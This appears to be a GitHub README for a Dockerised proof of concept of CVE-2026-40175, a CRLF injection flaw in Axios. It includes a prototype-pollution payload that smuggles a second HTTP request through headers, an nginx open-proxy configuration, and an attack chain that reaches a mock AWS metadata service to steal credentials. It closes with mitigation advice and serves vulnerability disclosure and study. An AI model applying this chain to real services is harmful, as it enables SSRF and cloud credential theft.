pjt3591oo/CVE-2026-40175-poc
GitHub: pjt3591oo/CVE-2026-40175-poc
该工具演示了 Axios 旧版本中因 CRLF 注入与原型污染导致的 SSRF 攻击链及其完整触发条件。
Stars: 0 | Forks: 0
# CVE-2026-40175 — Axios CRLF 注入 / HTTP 请求走私 PoC
## 概述
Axios HTTP 客户端(`>=1.0.0 <1.15.0`, `<0.31.0`)的 `AxiosHeaders.set()` 方法未对 header 值中的
`\r\n` 进行校验,从而导致了 **CRLF 注入** 漏洞。
攻击者可以通过结合其他的 Prototype Pollution(例如 lodash、qs 等),或者直接向 header 中注入 CRLF,
利用 nginx open proxy 等中间层,实现对 **任意内部服务器的 SSRF** 攻击。
| 项目 | 内容 |
|---|---|
| CVSS | 9.9 (Critical) |
| 影响版本 | `axios >=1.0.0 <1.15.0`, `axios <0.31.0` |
| 补丁版本 | `1.15.0`, `0.31.0` |
| CWE | CWE-93 Improper Neutralization of CRLF Sequences |
## 根本原因
```
lib/core/AxiosHeaders.js AxiosHeaders.set()
└─ normalizeValue()
└─ /[\r\n]+$/ 로 후행 CRLF만 제거
↑ 값 중간의 \r\n은 그대로 통과
```
最终,如果在 header 值中插入 `\r\n\r\nGET /admin HTTP/1.1\r\n...`,
TCP 流中就会直接包含第二个 HTTP 请求。
## Prototype Pollution
### 概念
JavaScript 中的所有对象都继承了 `Object.prototype`。Prototype Pollution 就是通过污染这个共享的原型对象,进而影响后续创建的所有对象的一种攻击方式。
```
Object.prototype.isAdmin = true;
const user = {};
user.isAdmin; // true ← 선언한 적 없지만 존재
```
### 触发机制
当存在漏洞的递归 merge 函数(如 `lodash < 4.17.21`、`qs` 等)没有对 `"__proto__"` 键进行特殊处理时,就会触发此漏洞。
```
function vulnerableMerge(target, source) {
for (const key of Object.keys(source)) {
if (typeof source[key] === 'object') {
if (!target[key]) target[key] = {};
vulnerableMerge(target[key], source[key]);
// key = "__proto__" 일 때:
// target["__proto__"] → Object.prototype 반환
// → vulnerableMerge(Object.prototype, source["__proto__"])
// → Object.prototype 에 직접 프로퍼티 주입
} else {
target[key] = source[key];
}
}
}
// 공격자 JSON: __proto__ 가 own property 로 파싱됨
const payload = JSON.parse('{"__proto__":{"headers":{"X-Smuggle":"evil\\r\\n..."}}}');
vulnerableMerge({}, payload);
({}).headers; // { 'X-Smuggle': 'evil\r\n...' } ← 오염 성공
```
### 关联 axios
```
Object.prototype.headers = { 'X-Smuggle': 'evil\r\n...' }
↓
앱 코드: const opts = {};
opts.headers → prototype chain → 오염된 객체 반환
↓
axios.get(url, { headers: opts.headers, adapter: rawSocketAdapter })
↓
AxiosHeaders.set('X-Smuggle', 'evil\r\n...') ← CRLF 검증 없음
↓
TCP 스트림에 스머글된 요청 포함
```
### 注意:大范围污染的副作用
如果污染了 `Object.prototype.headers`,axios 内部的 schema 对象也会受到影响。
```
assertOptions(config, schema) 호출 시
schema['headers'] → prototype chain → 오염된 객체 반환
validator(value) → 객체를 함수로 호출 → TypeError
```
在实际攻击中,必须精确控制污染的范围,因为大范围的污染可能会在实施预定的攻击之前导致应用程序自身崩溃(引发 DoS 副作用)。
## 攻击链
```
[1] 직접 헤더 주입 또는 Prototype Pollution (취약한 merge 라이브러리 경유)
↓
[2] axios가 CRLF 포함 값을 검증 없이 헤더로 직렬화
↓
[3] raw net.Socket 으로 TCP 스트림에 기록
(Node.js 기본 http 모듈은 런타임에서 차단 → custom adapter 필요)
↓
[4] nginx (proxy_pass http://$http_host) 가 2개 요청으로 분리 파싱
↓
[5] 스머글된 요청의 Host 헤더 기반으로 다른 upstream 으로 라우팅 (SSRF)
↓
[6] 내부 서버(IMDS 등) 접근 → 크레덴셜 탈취
```
### 核心条件
| 条件 | 内容 |
|---|---|
| 绕过 Node.js http 模块 | 使用基于 `net.Socket` 的 custom adapter |
| nginx open proxy | 设置了 `proxy_pass http://$http_host` |
| `ignore_invalid_headers on` | 允许异常的 header |
| `resolver` 指令 | 允许动态解析 hostname |
## PoC 架构
```
┌─────────────────────────────────────────────────────────┐
│ Host Machine │
│ │
│ test-axios-adapter-*.js │
│ (raw net.Socket → nginx:8080) │
│ │
│ browser → exploit.html (3003) │
│ → relay (3004) → raw socket → nginx:8080 │
└────────────────────┬────────────────────────────────────┘
│ Docker bridge (cve-net)
┌──────────┼──────────┬──────────────┐
▼ ▼ ▼ ▼
backend nginx imds (future)
:3001 :8080 :80
:3003 (169.254.169.254 mock)
:3004
```
### 端口映射
| 端口 | 服务 | 作用 |
|---|---|---|
| 3001 | backend | 接收 HTTP 请求 / 记录 header 日志 |
| 3003 | backend | exploit.html 静态服务器 |
| 3004 | backend | relay — 将 browser POST 转换为 net.Socket |
| 8080 | nginx | open proxy (`proxy_pass http://$http_host`) |
| 80 (内部) | imds | AWS IMDSv2 mock 服务器 |
## 运行
```
# 构建并启动整个容器
docker compose up --build
# Node.js 测试(在主机上运行)
npm install
```
### 按场景测试
```
# 1. 直接访问后端 — 通过 CRLF 注入产生 2 个请求
node poc/test-axios-adapter-backend.js
# 2. 经由 nginx — 被走私的请求被路由到 backend:3001
node poc/test-axios-adapter-nginx.js
# 3. Prototype Pollution → CRLF Injection → SSRF 链
node poc/test-prototype-pollution.js
# 4. 浏览器 — http://localhost:3003
# 目标选择:直接访问后端 / 经由 nginx / nginx → IMDS (SSRF)
```
### IMDS SSRF 场景
```
1. nginx → IMDS 선택 후 Custom Adapter 실행
2. 스머글된 요청: GET /latest/meta-data/iam/security-credentials/my-ec2-role
Host: imds
3. nginx가 host=imds 로 라우팅 → IMDSv2 mock 서버로 전달
4. imds 컨테이너 로그: [!!!] 크리덴셜 탈취 성공!
```
## 文件结构
```
.
├── docker-compose.yml
├── Dockerfile.backend # backend + relay 컨테이너
├── Dockerfile.imds # IMDSv2 mock 컨테이너
├── package.json # axios@1.14.0 (취약 버전 고정)
└── poc/
├── backend-server.js # HTTP 서버 (3001), relay (3004), 정적 서버 (3003)
├── mock-imds.js # AWS IMDSv2 mock (PUT /token, GET /credentials)
├── nginx-container.conf # open proxy 설정
├── exploit.html # 브라우저 PoC (XHR vs Custom Adapter)
├── test-axios-adapter-backend.js # raw socket → backend 직접
├── test-axios-adapter-nginx.js # raw socket → nginx → backend/imds
├── test-axios-no-adapter.js # 표준 axios (Node.js 차단 확인용)
└── test-prototype-pollution.js # Prototype Pollution → CRLF Injection 체인
```
## nginx 配置 (核心)
```
resolver 127.0.0.11 valid=30s; # Docker 내부 DNS
location / {
proxy_pass http://$http_host; # Host 헤더 기반 동적 라우팅 = SSRF
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $http_host;
}
location /public {
proxy_pass http://backend:3001; # 정상 요청용 고정 upstream
}
```
由于使用 `$http_host`(包含端口)作为 upstream,因此走私请求的 Host header
将直接决定其路由目的地。
## 缓解措施
```
npm install axios@^1.15.0
```
补丁(`1.15.0`)引入了 `assertValidHeaderValue()`,会立即拒绝包含 CR/LF 的值。
其他防御措施:
- 禁止在 nginx 中使用 `proxy_pass http://$http_host` → 改用固定的 upstream
- 强制使用 IMDSv2 (`HttpTokens: required`)
- 对 EC2 实例配置文件应用最小权限原则
## 参考文献
- [NVD - CVE-2026-40175](https://nvd.nist.gov/vuln/detail/CVE-2026-40175)
- [Miggo Vulnerability DB](https://www.miggo.io/vulnerability-database/cve/CVE-2026-40175)
- [Aikido — 它真的可利用吗?](https://www.aikido.dev/blog/axios-cve-2026-40175-a-critical-bug-thats-not-exploitable)
- [CVEReports](https://cvereports.com/reports/CVE-2026-40175)
标签:CISA项目, CRLF注入, HTTP请求走私, PoC, Web安全, 原型链污染, 暴力破解, 漏洞利用, 自定义脚本, 蓝队分析